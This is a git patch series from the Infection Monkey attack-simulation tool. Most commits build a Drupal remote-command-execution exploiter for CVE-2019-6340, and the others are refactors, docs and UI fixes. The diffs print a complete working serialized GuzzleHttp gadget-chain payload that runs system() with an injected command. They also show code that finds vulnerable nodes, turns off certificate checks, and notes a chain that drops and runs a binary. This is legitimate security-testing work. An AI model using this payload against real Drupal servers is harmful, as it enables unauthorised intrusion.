monkey/infection_monkey/exploit/drupal.py | 24 +++++++++++----------
2 files changed, 15 insertions(+), 12 deletions(-)
diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py
index 2351eba0e..3ee696a93 100644
--- a/monkey/common/network/test_network_utils.py
+++ b/monkey/common/network/test_network_utils.py
@@ -1,6 +1,7 @@
from unittest import TestCase
-from common.network.network_utils import get_host_from_network_location, remove_port
+from common.network.network_utils import (get_host_from_network_location,
+ remove_port)
class TestNetworkUtils(TestCase):
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index fa5222146..1ed0d499e 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -5,11 +5,13 @@ Implementation is based on:
"""
import logging
-import requests
from urllib.parse import urljoin
+
+import requests
+
+from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
-from network.network_utils import remove_port
__author__ = 'Ophir Harpaz'
@@ -102,15 +104,15 @@ class DrupalExploiter(WebRCE):
"value": ""
}
}
-
+
response = requests.get(f'{url}?_format=hal_json',
json=payload,
headers={"Content-Type": "application/hal+json"})
-
+
if check_drupal_cache(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
return False
-
+
return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
def exploit(self, url, command):
@@ -138,21 +140,21 @@ class DrupalExploiter(WebRCE):
}
}
}
-
+
LOG.info(payload)
-
+
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
-
+
if check_drupal_cache(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
-
+
if ID_STRING not in r.text:
LOG.warning('Command execution _may_ have failed')
-
+
result = r.text.split(ID_STRING)[-1]
LOG.info(f'Drupal exploit result = {result}')
return result
-
+
def get_target_url(self):
"""
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
From 6e2678473caaf5d10dacc0fa501db7bd89139fd1 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 11:53:38 +0300
Subject: [PATCH 38/81] rename function that finds vulnerable node IDs
---
monkey/infection_monkey/exploit/drupal.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 1ed0d499e..63aa5fb97 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -25,8 +25,8 @@ def check_drupal_cache(r: requests.Response) -> bool:
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
-def find_articles(base_url: str, lower: int = 1, upper: int = 10):
- """ Find a target article that does not 404 and is not cached """
+def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set:
+ """ Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
u = urljoin(base_url, str(lower))
@@ -66,7 +66,7 @@ class DrupalExploiter(WebRCE):
:return: None (in-place addition)
"""
for url in potential_urls:
- node_ids = find_articles(url)
+ node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
LOG.info('Could not find a Drupal node to attack')
continue
From f31186272f42252efe0d4c0c23758b834f054179 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:07:29 +0300
Subject: [PATCH 39/81] fixed logic and name in finding exploitable nodes
---
monkey/infection_monkey/exploit/drupal.py | 23 +++++++++++------------
1 file changed, 11 insertions(+), 12 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 63aa5fb97..b40a6476e 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -18,10 +18,8 @@ __author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def check_drupal_cache(r: requests.Response) -> bool:
- """
- Check if a response had the cache header.
- """
+def is_response_cached(r: requests.Response) -> bool:
+ """ Check if a response had the cache header. """
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
@@ -29,12 +27,13 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10)
""" Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
- u = urljoin(base_url, str(lower))
- r = requests.get(u)
- if r.status_code == 200: # found an article
- articles.add(lower)
- if check_drupal_cache(r):
- LOG.info(f'Found a cached article at: {lower}, skipping')
+ node_url = urljoin(base_url, str(lower))
+ response = requests.get(node_url)
+ if response.status_code == 200:
+ if is_response_cached(response):
+ LOG.info(f'Found a cached article at: {node_url}, skipping')
+ else:
+ articles.add(lower)
lower += 1
return articles
@@ -109,7 +108,7 @@ class DrupalExploiter(WebRCE):
json=payload,
headers={"Content-Type": "application/hal+json"})
- if check_drupal_cache(response):
+ if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
return False
@@ -145,7 +144,7 @@ class DrupalExploiter(WebRCE):
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
- if check_drupal_cache(r):
+ if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
if ID_STRING not in r.text:
From cf776063afaa7842ea1a31f8ba461793d2bf3e25 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Tue, 1 Sep 2020 12:17:01 +0300
Subject: [PATCH 40/81] Reformat + extract payload building to functions
---
monkey/infection_monkey/exploit/drupal.py | 126 ++++++++++++----------
1 file changed, 68 insertions(+), 58 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 1ed0d499e..3e23ece6d 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -18,27 +18,6 @@ __author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def check_drupal_cache(r: requests.Response) -> bool:
- """
- Check if a response had the cache header.
- """
- return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
-
-
-def find_articles(base_url: str, lower: int = 1, upper: int = 10):
- """ Find a target article that does not 404 and is not cached """
- articles = set()
- while lower < upper:
- u = urljoin(base_url, str(lower))
- r = requests.get(u)
- if r.status_code == 200: # found an article
- articles.add(lower)
- if check_drupal_cache(r):
- LOG.info(f'Found a cached article at: {lower}, skipping')
- lower += 1
- return articles
-
-
class DrupalExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Drupal Server'
@@ -88,22 +67,7 @@ class DrupalExploiter(WebRCE):
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
"""
- payload = {
- "_links": {
- "type": {
- "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
- }
- },
- "type": {
- "target_id": "article"
- },
- "title": {
- "value": "My Article"
- },
- "body": {
- "value": ""
- }
- }
+ payload = build_exploitability_check_payload(url)
response = requests.get(f'{url}?_format=hal_json',
json=payload,
@@ -119,27 +83,7 @@ class DrupalExploiter(WebRCE):
# pad a easy search replace output:
cmd = f'echo {ID_STRING} && {command}'
base = remove_port(url)
- payload = {
- "link": [
- {
- "value": "link",
- "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
- "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
- "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
- "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
- "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
- "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
- "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
- "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
- "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
- }
- ],
- "_links": {
- "type": {
- "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
- }
- }
- }
+ payload = build_cmd_execution_payload(base, cmd)
LOG.info(payload)
@@ -162,3 +106,69 @@ class DrupalExploiter(WebRCE):
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
+
+
+def check_drupal_cache(r: requests.Response) -> bool:
+ """
+ Check if a response had the cache header.
+ """
+ return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
+
+
+def find_articles(base_url: str, lower: int = 1, upper: int = 10):
+ """ Find a target article that does not 404 and is not cached """
+ articles = set()
+ while lower < upper:
+ u = urljoin(base_url, str(lower))
+ r = requests.get(u)
+ if r.status_code == 200: # found an article
+ articles.add(lower)
+ if check_drupal_cache(r):
+ LOG.info(f'Found a cached article at: {lower}, skipping')
+ lower += 1
+ return articles
+
+
+def build_exploitability_check_payload(url):
+ payload = {
+ "_links": {
+ "type": {
+ "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
+ }
+ },
+ "type": {
+ "target_id": "article"
+ },
+ "title": {
+ "value": "My Article"
+ },
+ "body": {
+ "value": ""
+ }
+ }
+ return payload
+
+
+def build_cmd_execution_payload(base, cmd):
+ payload = {
+ "link": [
+ {
+ "value": "link",
+ "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
+ "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
+ "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
+ "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
+ "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
+ "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
+ "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
+ "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+ "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
+ }
+ ],
+ "_links": {
+ "type": {
+ "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
+ }
+ }
+ }
+ return payload
From 9fcf2fe0e63dbacdd959be8e33582846aa690ff6 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:39:14 +0300
Subject: [PATCH 41/81] improve the check of sufficient URLs for the attack
---
monkey/infection_monkey/exploit/drupal.py | 9 +++++++++
monkey/infection_monkey/exploit/web_rce.py | 11 ++++++++++-
2 files changed, 19 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 113788993..c4c834559 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -106,6 +106,15 @@ class DrupalExploiter(WebRCE):
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
+
+ def are_vulnerable_urls_sufficient(self):
+ """
+ For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
+ :return: Whether the list of vulnerable URLs has at least 5 elements.
+ """
+ # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
+ num_urls_needed_for_full_exploit = 5
+ return len(self.vulnerable_urls) > num_urls_needed_for_full_exploit
def is_response_cached(r: requests.Response) -> bool:
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 833023141..0f489d0a6 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -92,7 +92,7 @@ class WebRCE(HostExploiter):
potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
- if not self.vulnerable_urls:
+ if not self.are_vulnerable_urls_sufficient():
return False
self.target_url = self.get_target_url()
@@ -517,3 +517,12 @@ class WebRCE(HostExploiter):
:return: a vulnerable URL
"""
return self.vulnerable_urls[0]
+
+ def are_vulnerable_urls_sufficient(self):
+ """
+ Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
+ Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
+ single use, thus we need a couple of them.
+ :return: Whether or not a full attack can be performed using the available vulnerable URLs.
+ """
+ return len(self.vulnerable_urls) > 0
From bdba20133d43989c37bf8ab15164ee25fdf5678a Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:39:36 +0300
Subject: [PATCH 42/81] retore the upper bound from the original exploit
implementation
---
monkey/infection_monkey/exploit/drupal.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index c4c834559..33321052e 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -122,7 +122,7 @@ def is_response_cached(r: requests.Response) -> bool:
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
-def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set:
+def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
""" Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
From a7b84b966cd6e7929cc4ac850219f0c5f164e299 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:43:20 +0300
Subject: [PATCH 43/81] fix length check and add log
---
monkey/infection_monkey/exploit/drupal.py | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 33321052e..8d017fb31 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -114,7 +114,12 @@ class DrupalExploiter(WebRCE):
"""
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
num_urls_needed_for_full_exploit = 5
- return len(self.vulnerable_urls) > num_urls_needed_for_full_exploit
+ num_available_urls = len(self.vulnerable_urls)
+ result = num_available_urls >= num_urls_needed_for_full_exploit
+ if not result:
+ LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
+ f'but only {num_available_urls} found')
+ return result
def is_response_cached(r: requests.Response) -> bool:
From 0eb31a927d76a6a5db33d7d88369d6e60256ba07 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:00:58 +0300
Subject: [PATCH 44/81] add basic Drupal docs page
---
docs/content/reference/exploiters/Drupal.md | 31 +++++++++++++++++++++
1 file changed, 31 insertions(+)
create mode 100644 docs/content/reference/exploiters/Drupal.md
diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md
new file mode 100644
index 000000000..ac085931f
--- /dev/null
+++ b/docs/content/reference/exploiters/Drupal.md
@@ -0,0 +1,31 @@
+---
+title: "Drupal"
+date: 2020-09-01T08:42:46+03:00
+draft: false
+tags: ["exploit", "linux", "windows"]
+---
+
+The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
+on a vulnerable Drupal server.
+
+### Description
+
+Some field types do not properly sanitize data from non-form sources in certain versions
+of Drupal server. This can lead to arbitrary PHP code execution in some cases.
+
+
+### Affected Versions
+
+* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
+* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
+or POST requests; OR
+* The site has another web services module enabled, like JSON:API in
+Drupal 8, or Services or RESTful Web Services in Drupal 7.
+
+
+### Notes
+
+* The _Infection Monkey_ exploiter implementation is based on an open-source
+[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
+of the exploit by @leonjza.
+* For the full attack to work, more than one vulnerable URL is required.
\ No newline at end of file
From 7288fb9814ec962e9ef320d201c2d82c58c2fc27 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:16:22 +0300
Subject: [PATCH 45/81] fix Docs page and add to report
---
docs/content/reference/exploiters/Drupal.md | 8 ++++++--
.../config_schema/definitions/exploiter_classes.py | 2 +-
2 files changed, 7 insertions(+), 3 deletions(-)
diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md
index ac085931f..df600b2cb 100644
--- a/docs/content/reference/exploiters/Drupal.md
+++ b/docs/content/reference/exploiters/Drupal.md
@@ -11,12 +11,16 @@ on a vulnerable Drupal server.
### Description
Some field types do not properly sanitize data from non-form sources in certain versions
-of Drupal server. This can lead to arbitrary PHP code execution in some cases.
+of Drupal server.
+
+This can lead to arbitrary PHP code execution in some cases.
### Affected Versions
* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
+
+One of the following conditions must hold:
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
or POST requests; OR
* The site has another web services module enabled, like JSON:API in
@@ -25,7 +29,7 @@ Drupal 8, or Services or RESTful Web Services in Drupal 7.
### Notes
-* The _Infection Monkey_ exploiter implementation is based on an open-source
+* The Infection Monkey exploiter implementation is based on an open-source
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
of the exploit by @leonjza.
* For the full attack to work, more than one vulnerable URL is required.
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
index 130171877..58672571b 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -133,7 +133,7 @@ EXPLOITER_CLASSES = {
],
"title": "Drupal Exploiter",
"info": "Exploits a remote command execution vulnerability",
- "link": ""
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
}
]
}
From afcbbb880cd7ad2f29c67bdd93a87486fb37b865 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:23:52 +0300
Subject: [PATCH 46/81] add to exploiter info
---
.../cc/services/config_schema/definitions/exploiter_classes.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
index 58672571b..0a5e671a3 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -132,7 +132,8 @@ EXPLOITER_CLASSES = {
"DrupalExploiter"
],
"title": "Drupal Exploiter",
- "info": "Exploits a remote command execution vulnerability",
+ "info": "Exploits a remote command execution vulnerability in a Drupal server,"
+ "for which certain modules (such as RESTful Web Services) are enabled.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
}
]
From 33b9dae2139131f186474bad870c0e0ab33f5d97 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Tue, 1 Sep 2020 14:46:53 +0300
Subject: [PATCH 47/81] Bugfix - missing import
---
monkey/infection_monkey/post_breach/actions/hide_files.py | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py
index 081a18598..9dfe875eb 100644
--- a/monkey/infection_monkey/post_breach/actions/hide_files.py
+++ b/monkey/infection_monkey/post_breach/actions/hide_files.py
@@ -4,8 +4,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.hidden_files import (cleanup_hidden_files,
get_commands_to_hide_files,
- get_commands_to_hide_folders,
- get_winAPI_to_hide_files)
+ get_commands_to_hide_folders)
+from infection_monkey.utils.windows.hidden_files import \
+ get_winAPI_to_hide_files
HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files,
get_commands_to_hide_folders]
From 4de9e92ce2bebcfb192545cbe93bb276308c12b8 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:51:01 +0300
Subject: [PATCH 48/81] I seriously have no idea how this happened
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
(*/ΟοΌΌ*)
---
monkey/monkey_island/cc/services/config.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 02dd91381..10ce690c0 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -218,7 +218,7 @@ class ConfigService:
def set_server_ips_in_config(config):
ips = local_ip_addresses()
config["internal"]["island_server"]["command_servers"] = \
- ["%s:%d" % (ip, env_singleton.env.get_islaned_port()) for ip in ips]
+ ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
@staticmethod
From ac731f5736b608014f55826f0fae7338d979777c Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:57:22 +0300
Subject: [PATCH 49/81] Remove redundant logs
---
monkey/infection_monkey/exploit/drupal.py | 3 ---
1 file changed, 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 8d017fb31..d1cf1f027 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -85,8 +85,6 @@ class DrupalExploiter(WebRCE):
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
- LOG.info(payload)
-
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if is_response_cached(r):
@@ -96,7 +94,6 @@ class DrupalExploiter(WebRCE):
LOG.warning('Command execution _may_ have failed')
result = r.text.split(ID_STRING)[-1]
- LOG.info(f'Drupal exploit result = {result}')
return result
def get_target_url(self):
From e9a939e1f081b2ce699b3a330370a0634ad42b11 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Tue, 1 Sep 2020 15:00:39 +0300
Subject: [PATCH 50/81] fix typo
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
(β―Β°β‘Β°οΌβ―οΈ΅ β»ββ»
---
monkey/monkey_island/cc/services/config.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 02dd91381..10ce690c0 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -218,7 +218,7 @@ class ConfigService:
def set_server_ips_in_config(config):
ips = local_ip_addresses()
config["internal"]["island_server"]["command_servers"] = \
- ["%s:%d" % (ip, env_singleton.env.get_islaned_port()) for ip in ips]
+ ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
@staticmethod
From 8e14e74d940de3a55e429afc2f5b7abaa7539d69 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:20:22 +0300
Subject: [PATCH 51/81] add a path for Bitnami installations of Drupal
---
monkey/infection_monkey/exploit/drupal.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index d1cf1f027..4340f1bc9 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -33,7 +33,8 @@ class DrupalExploiter(WebRCE):
:return: the Drupal exploit config
"""
exploit_config = super(DrupalExploiter, self).get_exploit_config()
- exploit_config['url_extensions'] = ['node/']
+ exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
+ 'drupal/node/'] # However, Bitnami installations are under /drupal
return exploit_config
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
From 93b978edac7349043d107378e2ee6dde9191a932 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:21:59 +0300
Subject: [PATCH 52/81] add a space
---
.../cc/ui/src/components/report-components/SecurityReport.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index 250f90546..63749ced1 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -794,7 +794,7 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-danger">remote command execution attack.
The attack was made possible because the server is using an old version of Drupal, for which REST API is
- enabled. For possible workarounds and more info read
+ enabled. For possible workarounds, fixes and more info read
here.
>
From c7b51bfe19ff473481e3b292e8b9c85d256725ff Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:42:46 +0300
Subject: [PATCH 53/81] print stack trace in exception
---
monkey/infection_monkey/exploit/HostExploiter.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py
index 86c966c92..274d07329 100644
--- a/monkey/infection_monkey/exploit/HostExploiter.py
+++ b/monkey/infection_monkey/exploit/HostExploiter.py
@@ -73,8 +73,8 @@ class HostExploiter(Plugin):
result = None
try:
result = self._exploit_host()
- except Exception as e:
- logger.warning(f'Exception in exploit_host: {e}')
+ except Exception as _:
+ logger.error(f'Exception in exploit_host', exc_info=True)
finally:
self.post_exploit()
return result
From 6efc7d8f8272285944c3230d1cf83b134ff0e211 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:43:08 +0300
Subject: [PATCH 54/81] don't verify HTTPS certificates
---
monkey/infection_monkey/exploit/drupal.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 4340f1bc9..fc876641d 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -130,7 +130,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
- response = requests.get(node_url)
+ response = requests.get(node_url, verify=False)
if response.status_code == 200:
if is_response_cached(response):
LOG.info(f'Found a cached article at: {node_url}, skipping')
From cb6e516e792d3c61c30971ed43005c7a96975a6d Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:43:25 +0300
Subject: [PATCH 55/81] try to handle exceptions (not finished)
---
monkey/infection_monkey/exploit/drupal.py | 25 +++++++++++++----------
1 file changed, 14 insertions(+), 11 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index fc876641d..f28c002c3 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -46,17 +46,20 @@ class DrupalExploiter(WebRCE):
:return: None (in-place addition)
"""
for url in potential_urls:
- node_ids = find_exploitbale_article_ids(url)
- if node_ids is None:
- LOG.info('Could not find a Drupal node to attack')
- continue
- for node_id in node_ids:
- node_url = urljoin(url, str(node_id))
- if self.check_if_exploitable(node_url):
- self.add_vuln_url(url) # This is for report. Should be refactored in the future
- self.vulnerable_urls.append(node_url)
- if stop_checking:
- break
+ try:
+ node_ids = find_exploitbale_article_ids(url)
+ if node_ids is None:
+ LOG.info('Could not find a Drupal node to attack')
+ continue
+ for node_id in node_ids:
+ node_url = urljoin(url, str(node_id))
+ if self.check_if_exploitable(node_url):
+ self.add_vuln_url(url) # This is for report. Should be refactored in the future
+ self.vulnerable_urls.append(node_url)
+ if stop_checking:
+ break
+ except Exception as e: # We still don't know which errors to expect
+ LOG.error(f'url {url} failed in exploitability check: {e}')
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found")
From eba638eaffb68941bb5d53da8c8e8097b02650a7 Mon Sep 17 00:00:00 2001
From: Shreya
Date: Tue, 1 Sep 2020 23:37:39 +0530
Subject: [PATCH 56/81] ATT&CK report UI changes
- color changes
- strikethrough disabled techiques' text in matrix
---
.../report-components/attack/SelectedTechnique.js | 3 ++-
.../report-components/attack/TechniqueDropdowns.js | 5 +++--
.../cc/ui/src/styles/components/Collapse.scss | 5 +++--
.../cc/ui/src/styles/pages/report/ReportAttackMatrix.scss | 7 ++++---
4 files changed, 12 insertions(+), 8 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js
index 8bdcf2960..69ca738f0 100644
